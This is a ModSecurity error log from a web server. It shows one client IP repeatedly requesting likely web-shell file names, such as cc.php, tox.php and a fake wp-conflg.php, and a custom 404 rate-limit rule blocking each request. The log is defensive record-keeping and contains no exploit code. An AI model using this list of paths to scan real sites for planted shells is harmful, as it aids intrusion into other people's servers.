[Tue Dec 02 23:29:52.063277 2025] [:error] [pid 3760:tid 3784] [client 20.196.108.177:20233] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aS8F8FjLYEjdWVcKgVWZeAAAANY"]
[Tue Dec 02 23:29:52.656759 2025] [:error] [pid 48650:tid 48671] [client 20.196.108.177:20429] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aS8F8IQuWSn3xrJsXbn7QAAAAdA"]
[Tue Dec 02 23:29:53.283153 2025] [:error] [pid 48650:tid 48669] [client 20.196.108.177:20165] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aS8F8YQuWSn3xrJsXbn7QgAAAc4"]
[Tue Dec 02 23:29:53.596047 2025] [:error] [pid 3760:tid 3763] [client 20.196.108.177:20181] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cc.php"] [unique_id "aS8F8VjLYEjdWVcKgVWZfAAAAME"]
[Tue Dec 02 23:29:54.044062 2025] [:error] [pid 5232:tid 5250] [client 20.196.108.177:20202] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aS8F8gApmO-auDy1ob4pFQAAARA"]
[Tue Dec 02 23:29:54.381786 2025] [:error] [pid 5232:tid 5237] [client 20.196.108.177:20213] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aS8F8gApmO-auDy1ob4pFwAAAQM"]
[Tue Dec 02 23:29:54.774556 2025] [:error] [pid 48650:tid 48667] [client 20.196.108.177:20229] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aS8F8oQuWSn3xrJsXbn7SQAAAcw"]
[Tue Dec 02 23:29:55.253195 2025] [:error] [pid 5232:tid 5254] [client 20.196.108.177:20282] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nij.php"] [unique_id "aS8F8wApmO-auDy1ob4pGQAAARQ"]
[Tue Dec 02 23:29:55.812270 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20204] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aS8F84QuWSn3xrJsXbn7TgAAAcM"]
[Tue Dec 02 23:29:56.177057 2025] [:error] [pid 5273:tid 5303] [client 20.196.108.177:20350] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aS8F9CMmXO5H1kNwHHWGogAAAYE"]
[Tue Dec 02 23:29:56.516765 2025] [:error] [pid 48650:tid 48663] [client 20.196.108.177:20136] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aS8F9IQuWSn3xrJsXbn7UQAAAcg"]
[Tue Dec 02 23:29:56.975885 2025] [:error] [pid 5273:tid 5315] [client 20.196.108.177:20198] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/info.php"] [unique_id "aS8F9CMmXO5H1kNwHHWGowAAAY0"]
[Tue Dec 02 23:29:57.371521 2025] [:error] [pid 5273:tid 5317] [client 20.196.108.177:20319] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aS8F9SMmXO5H1kNwHHWGpAAAAY8"]
[Tue Dec 02 23:29:57.863154 2025] [:error] [pid 48650:tid 48675] [client 20.196.108.177:20039] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aS8F9YQuWSn3xrJsXbn7WAAAAdQ"]
[Tue Dec 02 23:29:58.327999 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20201] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aS8F9oQuWSn3xrJsXbn7WgAAAcM"]
[Tue Dec 02 23:29:59.112696 2025] [:error] [pid 48650:tid 48672] [client 20.196.108.177:20179] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/radio.php"] [unique_id "aS8F94QuWSn3xrJsXbn7XgAAAdE"]
[Tue Dec 02 23:29:59.604900 2025] [:error] [pid 3647:tid 3662] [client 20.196.108.177:20274] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aS8F91JaqGDFgh_0XI_YHgAAAAk"]
[Tue Dec 02 23:29:59.964883 2025] [:error] [pid 3648:tid 3706] [client 20.196.108.177:20117] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aS8F9-QEp5icp6XOJr0xUAAAAFY"]
[Tue Dec 02 23:30:00.624710 2025] [:error] [pid 3760:tid 3782] [client 20.196.108.177:20206] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aS8F-FjLYEjdWVcKgVWZgwAAANQ"]
[Tue Dec 02 23:30:00.986198 2025] [:error] [pid 5273:tid 5310] [client 20.196.108.177:20171] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-admin/js/wp-conflg.php"] [unique_id "aS8F-CMmXO5H1kNwHHWGqAAAAYg"]
[Tue Dec 02 23:30:01.363670 2025] [:error] [pid 3647:tid 3666] [client 20.196.108.177:20111] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aS8F-VJaqGDFgh_0XI_YIwAAAA0"]
[Tue Dec 02 23:30:01.808342 2025] [:error] [pid 5232:tid 5240] [client 20.196.108.177:20147] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aS8F-QApmO-auDy1ob4pJQAAAQY"]
[Tue Dec 02 23:30:02.121710 2025] [:error] [pid 5272:tid 5291] [client 20.196.108.177:20178] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aS8F-uwbFoRzPGfZYVSQBQAAAVA"]
[Tue Dec 02 23:30:02.485097 2025] [:error] [pid 5232:tid 5246] [client 20.196.108.177:20199] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tox.php"] [unique_id "aS8F-gApmO-auDy1ob4pKAAAAQw"]
[Tue Dec 02 23:30:02.832009 2025] [:error] [pid 3649:tid 3728] [client 20.196.108.177:20099] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aS8F-rwjL4uqC6YFjxHLBAAAAJE"]
[Tue Dec 02 23:30:03.179673 2025] [:error] [pid 5273:tid 5318] [client 20.196.108.177:20183] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aS8F-yMmXO5H1kNwHHWGrgAAAZA"]
[Tue Dec 02 23:30:03.532286 2025] [:error] [pid 48650:tid 48670] [client 20.196.108.177:20105] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aS8F-4QuWSn3xrJsXbn7YwAAAc8"]
[Tue Dec 02 23:30:03.854238 2025] [:error] [pid 3648:tid 3708] [client 20.196.108.177:20212] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lo.php"] [unique_id "aS8F--QEp5icp6XOJr0xUQAAAFg"]
[Tue Dec 02 23:30:04.645936 2025] [:error] [pid 5273:tid 5309] [client 20.196.108.177:20270] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aS8F_CMmXO5H1kNwHHWGsQAAAYc"]
[Tue Dec 02 23:30:05.232620 2025] [:error] [pid 3648:tid 3692] [client 20.196.108.177:20220] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aS8F_eQEp5icp6XOJr0xUgAAAEg"]
[Tue Dec 02 23:30:05.749137 2025] [:error] [pid 3760:tid 3768] [client 20.196.108.177:20222] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpls.php"] [unique_id "aS8F_VjLYEjdWVcKgVWZkAAAAMY"]
[Tue Dec 02 23:30:11.321634 2025] [:error] [pid 3760:tid 3763] [client 20.196.108.177:20211] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aS8GA1jLYEjdWVcKgVWZnwAAAME"]
[Tue Dec 02 23:30:11.900001 2025] [:error] [pid 5272:tid 5298] [client 20.196.108.177:20124] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aS8GA-wbFoRzPGfZYVSQDAAAAVc"]
[Tue Dec 02 23:30:12.293488 2025] [:error] [pid 5232:tid 5239] [client 20.196.108.177:20218] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aS8GBAApmO-auDy1ob4pLgAAAQU"]
[Tue Dec 02 23:30:12.658862 2025] [:error] [pid 3649:tid 3732] [client 20.196.108.177:20180] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/te.php"] [unique_id "aS8GBLwjL4uqC6YFjxHLGwAAAJU"]
[Tue Dec 02 23:30:13.036636 2025] [:error] [pid 5232:tid 5248] [client 20.196.108.177:20108] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aS8GBQApmO-auDy1ob4pLwAAAQ4"]
[Tue Dec 02 23:30:13.579691 2025] [:error] [pid 5273:tid 5318] [client 20.196.108.177:20221] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aS8GBSMmXO5H1kNwHHWGuAAAAZA"]
[Tue Dec 02 23:30:14.195338 2025] [:error] [pid 5273:tid 5307] [client 20.196.108.177:20116] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aS8GBiMmXO5H1kNwHHWGuQAAAYU"]
[Tue Dec 02 23:30:14.765700 2025] [:error] [pid 5272:tid 5297] [client 20.196.108.177:20141] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a2.php"] [unique_id "aS8GBuwbFoRzPGfZYVSQEAAAAVY"]
[Tue Dec 02 23:30:15.501367 2025] [:error] [pid 5273:tid 5321] [client 20.196.108.177:20215] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aS8GByMmXO5H1kNwHHWGwQAAAZM"]
[Tue Dec 02 23:30:15.969088 2025] [:error] [pid 5272:tid 5282] [client 20.196.108.177:20074] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aS8GB-wbFoRzPGfZYVSQEQAAAUc"]
[Tue Dec 02 23:30:16.403651 2025] [:error] [pid 3647:tid 3655] [client 20.196.108.177:20182] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aS8GCFJaqGDFgh_0XI_YKwAAAAI"]
[Tue Dec 02 23:30:17.179249 2025] [:error] [pid 5273:tid 5302] [client 20.196.108.177:20194] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jp.php"] [unique_id "aS8GCSMmXO5H1kNwHHWGxQAAAYA"]
[Tue Dec 02 23:30:17.639818 2025] [:error] [pid 48650:tid 48656] [client 20.196.108.177:20130] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aS8GCYQuWSn3xrJsXbn7agAAAcE"]
[Tue Dec 02 23:30:18.039268 2025] [:error] [pid 5273:tid 5320] [client 20.196.108.177:20226] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aS8GCiMmXO5H1kNwHHWGxwAAAZI"]
[Tue Dec 02 23:30:18.343700 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20036] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aS8GCuQEp5icp6XOJr0xZAAAAEQ"]
[Tue Dec 02 23:30:18.669580 2025] [:error] [pid 3648:tid 3691] [client 20.196.108.177:20428] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/cccc.php"] [unique_id "aS8GCuQEp5icp6XOJr0xZQAAAEc"]
[Tue Dec 02 23:30:19.032701 2025] [:error] [pid 48650:tid 48662] [client 20.196.108.177:20191] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aS8GC4QuWSn3xrJsXbn7bAAAAcc"]
[Tue Dec 02 23:30:19.533142 2025] [:error] [pid 3760:tid 3771] [client 20.196.108.177:20119] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aS8GC1jLYEjdWVcKgVWZogAAAMk"]
[Tue Dec 02 23:30:20.165007 2025] [:error] [pid 3647:tid 3669] [client 20.196.108.177:20132] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aS8GDFJaqGDFgh_0XI_YMwAAABA"]
[Tue Dec 02 23:30:20.527578 2025] [:error] [pid 3649:tid 3735] [client 20.196.108.177:20120] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fe5.php"] [unique_id "aS8GDLwjL4uqC6YFjxHLKgAAAJg"]
[Tue Dec 02 23:30:20.918289 2025] [:error] [pid 48650:tid 48661] [client 20.196.108.177:20208] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aS8GDIQuWSn3xrJsXbn7cAAAAcY"]
[Tue Dec 02 23:30:21.391909 2025] [:error] [pid 48650:tid 48671] [client 20.196.108.177:20223] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aS8GDYQuWSn3xrJsXbn7cgAAAdA"]
[Tue Dec 02 23:30:21.986241 2025] [:error] [pid 3648:tid 3704] [client 20.196.108.177:20116] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aS8GDeQEp5icp6XOJr0xagAAAFQ"]
[Tue Dec 02 23:30:22.777143 2025] [:error] [pid 3760:tid 3768] [client 20.196.108.177:20131] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sid3.php"] [unique_id "aS8GDljLYEjdWVcKgVWZqAAAAMY"]
